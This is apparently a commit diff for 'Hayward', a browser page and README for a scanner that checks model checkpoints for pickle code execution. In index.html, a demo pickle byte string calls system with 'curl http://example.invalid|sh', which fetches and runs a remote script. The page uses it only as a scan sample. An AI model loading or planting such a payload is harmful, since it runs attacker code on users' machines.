Spaces:
Running
Running
Hayward: scan a checkpoint for code execution, in the browser
Browse files- .gitignore +2 -0
- README.md +52 -3
- index.html +351 -17
.gitignore
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
.venv/
|
| 2 |
+
__pycache__/
|
README.md
CHANGED
|
@@ -1,10 +1,59 @@
|
|
| 1 |
---
|
| 2 |
title: Hayward
|
| 3 |
-
emoji:
|
| 4 |
-
colorFrom:
|
| 5 |
colorTo: blue
|
| 6 |
sdk: static
|
|
|
|
| 7 |
pinned: false
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 8 |
---
|
| 9 |
|
| 10 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
---
|
| 2 |
title: Hayward
|
| 3 |
+
emoji: 🌾
|
| 4 |
+
colorFrom: green
|
| 5 |
colorTo: blue
|
| 6 |
sdk: static
|
| 7 |
+
app_file: index.html
|
| 8 |
pinned: false
|
| 9 |
+
license: mit
|
| 10 |
+
short_description: Check whether loading a model repo will run code
|
| 11 |
+
tags:
|
| 12 |
+
- security
|
| 13 |
+
- pickle
|
| 14 |
+
- model-security
|
| 15 |
+
- supply-chain
|
| 16 |
+
- safetensors
|
| 17 |
---
|
| 18 |
|
| 19 |
+
# Hayward
|
| 20 |
+
|
| 21 |
+
Paste a Hub repo id, or drop a checkpoint from your own machine. Hayward reads
|
| 22 |
+
the model files and tells you whether loading them will run code.
|
| 23 |
+
|
| 24 |
+
`torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
|
| 25 |
+
from the file they read. That is what pickle does, and the Hub is still full
|
| 26 |
+
of pickle.
|
| 27 |
+
|
| 28 |
+
The real thing runs offline, in your CI, with one dependency:
|
| 29 |
+
|
| 30 |
+
```bash
|
| 31 |
+
pip install hayward
|
| 32 |
+
hayward scan ./models
|
| 33 |
+
```
|
| 34 |
+
|
| 35 |
+
Source and documentation: https://github.com/hedgerow-dev/hayward
|
| 36 |
+
|
| 37 |
+
## How this page works
|
| 38 |
+
|
| 39 |
+
There is no server. The page loads the `hayward` wheel from PyPI into
|
| 40 |
+
Pyodide and runs the identical scanner in WebAssembly, in your browser. A file
|
| 41 |
+
you drop here is never uploaded anywhere. A repo you name is fetched from the
|
| 42 |
+
Hub straight into the tab.
|
| 43 |
+
|
| 44 |
+
That is the same property the CLI has, which is the point: a scanner that
|
| 45 |
+
phones home is a scanner you cannot run on a file you are worried about.
|
| 46 |
+
|
| 47 |
+
## What it does
|
| 48 |
+
|
| 49 |
+
1. Lists the repo's files and keeps the ones Hayward can read.
|
| 50 |
+
2. Fetches them one at a time, scans, then discards.
|
| 51 |
+
3. Shows every finding, and every file it had to skip.
|
| 52 |
+
|
| 53 |
+
A clean result means Hayward read the files and recognised nothing dangerous
|
| 54 |
+
in them. It does not mean the model is safe.
|
| 55 |
+
|
| 56 |
+
## Limits
|
| 57 |
+
|
| 58 |
+
A browser tab is not a build box: this stops at 25 files and 500 MB per file.
|
| 59 |
+
Anything it skips is listed as skipped rather than quietly dropped.
|
index.html
CHANGED
|
@@ -1,19 +1,353 @@
|
|
| 1 |
<!doctype html>
|
| 2 |
-
<html>
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
</html>
|
|
|
|
| 1 |
<!doctype html>
|
| 2 |
+
<html lang="en">
|
| 3 |
+
<head>
|
| 4 |
+
<meta charset="utf-8">
|
| 5 |
+
<meta name="viewport" content="width=device-width, initial-scale=1">
|
| 6 |
+
<title>Hayward: does this checkpoint run code?</title>
|
| 7 |
+
<style>
|
| 8 |
+
:root {
|
| 9 |
+
--ink: #013D5A;
|
| 10 |
+
--sage: #708C69;
|
| 11 |
+
--amber: #F4A25B;
|
| 12 |
+
--bg: #fbfaf7;
|
| 13 |
+
--panel: #ffffff;
|
| 14 |
+
--line: #e4e0d8;
|
| 15 |
+
--muted: #5d6b73;
|
| 16 |
+
--crit: #a3231f;
|
| 17 |
+
}
|
| 18 |
+
@media (prefers-color-scheme: dark) {
|
| 19 |
+
:root {
|
| 20 |
+
--bg: #0d1418; --panel: #131e24; --line: #24343c;
|
| 21 |
+
--ink: #cfe4ee; --muted: #93a5ae; --crit: #ff8b83;
|
| 22 |
+
}
|
| 23 |
+
}
|
| 24 |
+
* { box-sizing: border-box; }
|
| 25 |
+
body {
|
| 26 |
+
margin: 0; padding: 2rem 1.25rem 4rem;
|
| 27 |
+
background: var(--bg); color: var(--ink);
|
| 28 |
+
font: 16px/1.6 ui-sans-serif, system-ui, -apple-system, "Segoe UI", sans-serif;
|
| 29 |
+
}
|
| 30 |
+
main { max-width: 54rem; margin: 0 auto; }
|
| 31 |
+
h1 { font-size: 1.9rem; margin: 0 0 .35rem; letter-spacing: -.02em; }
|
| 32 |
+
.lede { color: var(--muted); margin: 0 0 1.75rem; max-width: 40rem; }
|
| 33 |
+
code, .mono { font-family: ui-monospace, SFMono-Regular, Menlo, monospace; font-size: .9em; }
|
| 34 |
+
.panel {
|
| 35 |
+
background: var(--panel); border: 1px solid var(--line);
|
| 36 |
+
border-radius: 10px; padding: 1.1rem 1.2rem; margin-bottom: 1rem;
|
| 37 |
+
}
|
| 38 |
+
.row { display: flex; gap: .6rem; flex-wrap: wrap; }
|
| 39 |
+
input[type=text] {
|
| 40 |
+
flex: 1 1 18rem; padding: .6rem .75rem; font: inherit;
|
| 41 |
+
border: 1px solid var(--line); border-radius: 7px;
|
| 42 |
+
background: var(--bg); color: var(--ink);
|
| 43 |
+
}
|
| 44 |
+
button {
|
| 45 |
+
padding: .6rem 1rem; font: inherit; font-weight: 600; cursor: pointer;
|
| 46 |
+
border: 1px solid var(--ink); border-radius: 7px;
|
| 47 |
+
background: var(--ink); color: var(--bg);
|
| 48 |
+
}
|
| 49 |
+
button.ghost { background: transparent; color: var(--ink); font-weight: 400; }
|
| 50 |
+
button[disabled] { opacity: .45; cursor: not-allowed; }
|
| 51 |
+
#drop {
|
| 52 |
+
border: 1.5px dashed var(--line); border-radius: 10px;
|
| 53 |
+
padding: 1.6rem 1rem; text-align: center; color: var(--muted);
|
| 54 |
+
cursor: pointer; transition: border-color .15s, background .15s;
|
| 55 |
+
}
|
| 56 |
+
#drop.hot { border-color: var(--sage); background: rgba(112,140,105,.09); }
|
| 57 |
+
#status { color: var(--muted); font-size: .92rem; min-height: 1.6em; }
|
| 58 |
+
table { width: 100%; border-collapse: collapse; margin-top: .5rem; }
|
| 59 |
+
th, td { text-align: left; padding: .5rem .6rem; border-bottom: 1px solid var(--line); vertical-align: top; }
|
| 60 |
+
th { font-size: .74rem; letter-spacing: .09em; text-transform: uppercase; color: var(--muted); }
|
| 61 |
+
td.sev { font-weight: 700; font-size: .78rem; letter-spacing: .05em; white-space: nowrap; }
|
| 62 |
+
.critical, .high { color: var(--crit); }
|
| 63 |
+
.medium { color: var(--amber); }
|
| 64 |
+
.low, .info { color: var(--muted); }
|
| 65 |
+
.verdict { font-size: 1.15rem; font-weight: 650; margin: 0 0 .4rem; }
|
| 66 |
+
.verdict.bad { color: var(--crit); }
|
| 67 |
+
.verdict.ok { color: var(--sage); }
|
| 68 |
+
.note { color: var(--muted); font-size: .9rem; }
|
| 69 |
+
ul.skipped { color: var(--muted); font-size: .88rem; padding-left: 1.1rem; margin: .5rem 0 0; }
|
| 70 |
+
footer { color: var(--muted); font-size: .88rem; margin-top: 2rem; }
|
| 71 |
+
a { color: var(--sage); }
|
| 72 |
+
</style>
|
| 73 |
+
</head>
|
| 74 |
+
<body>
|
| 75 |
+
<main>
|
| 76 |
+
<h1>Hayward</h1>
|
| 77 |
+
<p class="lede">
|
| 78 |
+
Does this checkpoint run code when you load it?
|
| 79 |
+
<code>torch.load</code>, <code>joblib.load</code> and
|
| 80 |
+
<code>numpy.load(allow_pickle=True)</code> execute code from the file they
|
| 81 |
+
read. That is what pickle does, and the Hub is still full of it.
|
| 82 |
+
</p>
|
| 83 |
+
|
| 84 |
+
<div class="panel">
|
| 85 |
+
<div class="row">
|
| 86 |
+
<input id="repo" type="text" placeholder="org/name" spellcheck="false" autocomplete="off">
|
| 87 |
+
<button id="scanRepo" disabled>Scan repo</button>
|
| 88 |
+
</div>
|
| 89 |
+
<div class="row" style="margin-top:.65rem">
|
| 90 |
+
<button class="ghost" id="exClean" disabled>Example: a clean repo</button>
|
| 91 |
+
<button class="ghost" id="exBad" disabled>Example: a malicious checkpoint</button>
|
| 92 |
+
</div>
|
| 93 |
+
</div>
|
| 94 |
+
|
| 95 |
+
<div class="panel">
|
| 96 |
+
<div id="drop">
|
| 97 |
+
<strong>Drop a model file here</strong>, or click to choose one.<br>
|
| 98 |
+
It is read in your browser. Nothing is uploaded.
|
| 99 |
+
</div>
|
| 100 |
+
<input id="file" type="file" multiple hidden>
|
| 101 |
+
</div>
|
| 102 |
+
|
| 103 |
+
<p id="status">Loading the scanner…</p>
|
| 104 |
+
<div id="result"></div>
|
| 105 |
+
|
| 106 |
+
<footer>
|
| 107 |
+
Hayward runs offline as a CLI, which is how it is meant to be used:
|
| 108 |
+
<code>pip install hayward</code>.
|
| 109 |
+
<a href="https://github.com/hedgerow-dev/hayward">Source and documentation</a>.
|
| 110 |
+
This page runs the same scanner in WebAssembly, so your files stay on your
|
| 111 |
+
machine.
|
| 112 |
+
</footer>
|
| 113 |
+
</main>
|
| 114 |
+
|
| 115 |
+
<script src="https://cdn.jsdelivr.net/pyodide/v0.28.0/full/pyodide.js"></script>
|
| 116 |
+
<script>
|
| 117 |
+
const MAX_FILE_BYTES = 500_000_000; // matches the scanner's own read cap
|
| 118 |
+
const MAX_FILES = 25;
|
| 119 |
+
const CLEAN_EXAMPLE = "hf-internal-testing/tiny-random-BertModel";
|
| 120 |
+
|
| 121 |
+
const $ = (id) => document.getElementById(id);
|
| 122 |
+
const statusEl = $("status");
|
| 123 |
+
const resultEl = $("result");
|
| 124 |
+
let py = null;
|
| 125 |
+
let extensions = [];
|
| 126 |
+
|
| 127 |
+
const PY_SETUP = `
|
| 128 |
+
import json
|
| 129 |
+
from pathlib import Path
|
| 130 |
+
|
| 131 |
+
from hayward import ModelFileScanner
|
| 132 |
+
from hayward.findings import Severity
|
| 133 |
+
|
| 134 |
+
_scanner = ModelFileScanner()
|
| 135 |
+
|
| 136 |
+
ORDER = {
|
| 137 |
+
Severity.CRITICAL: 0, Severity.HIGH: 1, Severity.MEDIUM: 2,
|
| 138 |
+
Severity.LOW: 3, Severity.INFO: 4,
|
| 139 |
+
}
|
| 140 |
+
|
| 141 |
+
# The scanner owns the extension list, including the two it resolves by
|
| 142 |
+
# content sniff rather than by name. Read it rather than restating it.
|
| 143 |
+
EXTENSIONS = sorted({*_scanner._format_map, *_scanner._AMBIGUOUS_EXTENSIONS})
|
| 144 |
+
|
| 145 |
+
# A checkpoint that fetches a shell script and runs it on load. Built here so
|
| 146 |
+
# the page ships no payload-shaped file. It is never unpickled.
|
| 147 |
+
DEMO = b"\\x80\\x04cposix\\nsystem\\n\\x8c\\x1ccurl http://example.invalid|sh\\x85R."
|
| 148 |
+
|
| 149 |
+
|
| 150 |
+
def scan_path(path, display_name):
|
| 151 |
+
p = Path(path)
|
| 152 |
+
try:
|
| 153 |
+
findings = _scanner.scan_file(p)
|
| 154 |
+
finally:
|
| 155 |
+
p.unlink(missing_ok=True)
|
| 156 |
+
findings.sort(key=lambda f: ORDER[f.severity])
|
| 157 |
+
return json.dumps([
|
| 158 |
+
{
|
| 159 |
+
"severity": f.severity.value,
|
| 160 |
+
"rule": f.rule_id,
|
| 161 |
+
"file": display_name,
|
| 162 |
+
"message": f.message,
|
| 163 |
+
}
|
| 164 |
+
for f in findings
|
| 165 |
+
])
|
| 166 |
+
|
| 167 |
+
|
| 168 |
+
def scan_demo():
|
| 169 |
+
p = Path("/scan/demo-checkpoint.pt")
|
| 170 |
+
p.parent.mkdir(parents=True, exist_ok=True)
|
| 171 |
+
p.write_bytes(DEMO)
|
| 172 |
+
return scan_path(str(p), "demo-checkpoint.pt")
|
| 173 |
+
`;
|
| 174 |
+
|
| 175 |
+
async function boot() {
|
| 176 |
+
py = await loadPyodide();
|
| 177 |
+
statusEl.textContent = "Installing hayward…";
|
| 178 |
+
// lzma is unvendored from Pyodide's stdlib, and the scanner imports it to
|
| 179 |
+
// read xz-compressed members.
|
| 180 |
+
await py.loadPackage(["micropip", "lzma"]);
|
| 181 |
+
await py.runPythonAsync(`
|
| 182 |
+
import micropip
|
| 183 |
+
await micropip.install("hayward")
|
| 184 |
+
`);
|
| 185 |
+
await py.runPythonAsync(PY_SETUP);
|
| 186 |
+
extensions = JSON.parse(py.runPython("json.dumps(EXTENSIONS)"));
|
| 187 |
+
py.FS.mkdirTree("/scan");
|
| 188 |
+
for (const id of ["scanRepo", "exClean", "exBad"]) $(id).disabled = false;
|
| 189 |
+
statusEl.textContent =
|
| 190 |
+
`Ready. ${extensions.length} file types, running locally in your browser.`;
|
| 191 |
+
}
|
| 192 |
+
|
| 193 |
+
function scannable(path) {
|
| 194 |
+
const dot = path.lastIndexOf(".");
|
| 195 |
+
return dot !== -1 && extensions.includes(path.slice(dot).toLowerCase());
|
| 196 |
+
}
|
| 197 |
+
|
| 198 |
+
async function scanBuffer(buffer, displayName) {
|
| 199 |
+
const name = displayName.split("/").pop();
|
| 200 |
+
const target = "/scan/" + name;
|
| 201 |
+
py.FS.writeFile(target, new Uint8Array(buffer));
|
| 202 |
+
return JSON.parse(py.runPython(
|
| 203 |
+
`scan_path(${JSON.stringify(target)}, ${JSON.stringify(displayName)})`
|
| 204 |
+
));
|
| 205 |
+
}
|
| 206 |
+
|
| 207 |
+
async function scanRepo(repoId) {
|
| 208 |
+
repoId = repoId.trim().replace(/^\/+|\/+$/g, "");
|
| 209 |
+
if (!repoId || (repoId.match(/\//g) || []).length !== 1) {
|
| 210 |
+
return render("Enter a repo id in the form org/name", [], []);
|
| 211 |
+
}
|
| 212 |
+
|
| 213 |
+
statusEl.textContent = `Listing ${repoId}…`;
|
| 214 |
+
let tree;
|
| 215 |
+
try {
|
| 216 |
+
const res = await fetch(
|
| 217 |
+
`https://huggingface.co/api/models/${repoId}/tree/main?recursive=true`);
|
| 218 |
+
if (!res.ok) throw new Error(`the Hub returned ${res.status}`);
|
| 219 |
+
tree = await res.json();
|
| 220 |
+
} catch (err) {
|
| 221 |
+
return render(`Could not read ${repoId}: ${err.message}`, [], []);
|
| 222 |
+
}
|
| 223 |
+
|
| 224 |
+
const eligible = tree.filter((e) => e.type === "file" && scannable(e.path));
|
| 225 |
+
eligible.sort((a, b) => a.size - b.size);
|
| 226 |
+
|
| 227 |
+
const skipped = [];
|
| 228 |
+
const queue = [];
|
| 229 |
+
for (const entry of eligible) {
|
| 230 |
+
if (entry.size > MAX_FILE_BYTES) {
|
| 231 |
+
skipped.push(`${entry.path} (over the 500 MB per-file cap)`);
|
| 232 |
+
} else if (queue.length >= MAX_FILES) {
|
| 233 |
+
skipped.push(`${entry.path} (past the ${MAX_FILES} file cap)`);
|
| 234 |
+
} else {
|
| 235 |
+
queue.push(entry);
|
| 236 |
+
}
|
| 237 |
+
}
|
| 238 |
+
|
| 239 |
+
if (!queue.length && !skipped.length) {
|
| 240 |
+
return render(
|
| 241 |
+
`${repoId} holds no files Hayward can read. That is an empty result, not a clean one.`,
|
| 242 |
+
[], []);
|
| 243 |
+
}
|
| 244 |
+
|
| 245 |
+
const findings = [];
|
| 246 |
+
let read = 0;
|
| 247 |
+
for (const [i, entry] of queue.entries()) {
|
| 248 |
+
statusEl.textContent = `Reading ${entry.path} (${i + 1} of ${queue.length})…`;
|
| 249 |
+
try {
|
| 250 |
+
const res = await fetch(
|
| 251 |
+
`https://huggingface.co/${repoId}/resolve/main/${entry.path}`);
|
| 252 |
+
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
| 253 |
+
findings.push(...await scanBuffer(await res.arrayBuffer(), entry.path));
|
| 254 |
+
read += 1;
|
| 255 |
+
} catch (err) {
|
| 256 |
+
skipped.push(`${entry.path} (fetch failed: ${err.message})`);
|
| 257 |
+
}
|
| 258 |
+
}
|
| 259 |
+
|
| 260 |
+
statusEl.textContent = "Ready.";
|
| 261 |
+
render(verdict(repoId, read, findings), findings, skipped);
|
| 262 |
+
}
|
| 263 |
+
|
| 264 |
+
function verdict(subject, read, findings) {
|
| 265 |
+
const failing = findings.some(
|
| 266 |
+
(f) => f.severity === "critical" || f.severity === "high");
|
| 267 |
+
if (failing) return `Loading ${subject} can run code`;
|
| 268 |
+
if (findings.length) return `Nothing in ${subject} that would fail a build`;
|
| 269 |
+
return `Nothing recognised as dangerous in ${subject}` +
|
| 270 |
+
(read ? ` (${read} file${read === 1 ? "" : "s"} read)` : "");
|
| 271 |
+
}
|
| 272 |
+
|
| 273 |
+
function render(headline, findings, skipped) {
|
| 274 |
+
const bad = findings.some(
|
| 275 |
+
(f) => f.severity === "critical" || f.severity === "high");
|
| 276 |
+
const rows = findings.map((f) => `
|
| 277 |
+
<tr>
|
| 278 |
+
<td class="sev ${f.severity}">${f.severity.toUpperCase()}</td>
|
| 279 |
+
<td class="mono">${escape(f.rule)}</td>
|
| 280 |
+
<td class="mono">${escape(f.file)}</td>
|
| 281 |
+
<td>${escape(f.message)}</td>
|
| 282 |
+
</tr>`).join("");
|
| 283 |
+
|
| 284 |
+
resultEl.innerHTML = `
|
| 285 |
+
<div class="panel">
|
| 286 |
+
<p class="verdict ${bad ? "bad" : "ok"}">${escape(headline)}</p>
|
| 287 |
+
<p class="note">A clean result means Hayward read the files and
|
| 288 |
+
recognised nothing dangerous. It does not mean the model is safe.</p>
|
| 289 |
+
${rows ? `<table>
|
| 290 |
+
<thead><tr><th>Severity</th><th>Rule</th><th>File</th><th>What it found</th></tr></thead>
|
| 291 |
+
<tbody>${rows}</tbody></table>` : ""}
|
| 292 |
+
${skipped.length ? `<p class="note" style="margin-top:.9rem">
|
| 293 |
+
<strong>Not scanned (${skipped.length}):</strong></p>
|
| 294 |
+
<ul class="skipped">${skipped.map((s) => `<li>${escape(s)}</li>`).join("")}</ul>` : ""}
|
| 295 |
+
</div>`;
|
| 296 |
+
}
|
| 297 |
+
|
| 298 |
+
function escape(s) {
|
| 299 |
+
return String(s).replace(/[&<>"]/g,
|
| 300 |
+
(c) => ({ "&": "&", "<": "<", ">": ">", '"': """ }[c]));
|
| 301 |
+
}
|
| 302 |
+
|
| 303 |
+
$("scanRepo").addEventListener("click", () => scanRepo($("repo").value));
|
| 304 |
+
$("repo").addEventListener("keydown", (e) => {
|
| 305 |
+
if (e.key === "Enter") scanRepo($("repo").value);
|
| 306 |
+
});
|
| 307 |
+
$("exClean").addEventListener("click", () => {
|
| 308 |
+
$("repo").value = CLEAN_EXAMPLE;
|
| 309 |
+
scanRepo(CLEAN_EXAMPLE);
|
| 310 |
+
});
|
| 311 |
+
$("exBad").addEventListener("click", () => {
|
| 312 |
+
const findings = JSON.parse(py.runPython("scan_demo()"));
|
| 313 |
+
render("Loading demo-checkpoint.pt can run code", findings, []);
|
| 314 |
+
statusEl.textContent =
|
| 315 |
+
"That is a crafted sample this page built, not a real model and not anybody's repo.";
|
| 316 |
+
});
|
| 317 |
+
|
| 318 |
+
const drop = $("drop");
|
| 319 |
+
const fileInput = $("file");
|
| 320 |
+
drop.addEventListener("click", () => fileInput.click());
|
| 321 |
+
["dragenter", "dragover"].forEach((ev) =>
|
| 322 |
+
drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.add("hot"); }));
|
| 323 |
+
["dragleave", "drop"].forEach((ev) =>
|
| 324 |
+
drop.addEventListener(ev, (e) => { e.preventDefault(); drop.classList.remove("hot"); }));
|
| 325 |
+
drop.addEventListener("drop", (e) => handleFiles(e.dataTransfer.files));
|
| 326 |
+
fileInput.addEventListener("change", () => handleFiles(fileInput.files));
|
| 327 |
+
|
| 328 |
+
async function handleFiles(fileList) {
|
| 329 |
+
if (!py) return;
|
| 330 |
+
const files = [...fileList].slice(0, MAX_FILES);
|
| 331 |
+
const findings = [];
|
| 332 |
+
const skipped = [];
|
| 333 |
+
let read = 0;
|
| 334 |
+
for (const file of files) {
|
| 335 |
+
if (file.size > MAX_FILE_BYTES) {
|
| 336 |
+
skipped.push(`${file.name} (over the 500 MB per-file cap)`);
|
| 337 |
+
continue;
|
| 338 |
+
}
|
| 339 |
+
statusEl.textContent = `Scanning ${file.name}…`;
|
| 340 |
+
findings.push(...await scanBuffer(await file.arrayBuffer(), file.name));
|
| 341 |
+
read += 1;
|
| 342 |
+
}
|
| 343 |
+
statusEl.textContent = "Ready.";
|
| 344 |
+
const subject = files.length === 1 ? files[0].name : `${read} files`;
|
| 345 |
+
render(verdict(subject, read, findings), findings, skipped);
|
| 346 |
+
}
|
| 347 |
+
|
| 348 |
+
boot().catch((err) => {
|
| 349 |
+
statusEl.textContent = "The scanner failed to load: " + err.message;
|
| 350 |
+
});
|
| 351 |
+
</script>
|
| 352 |
+
</body>
|
| 353 |
</html>
|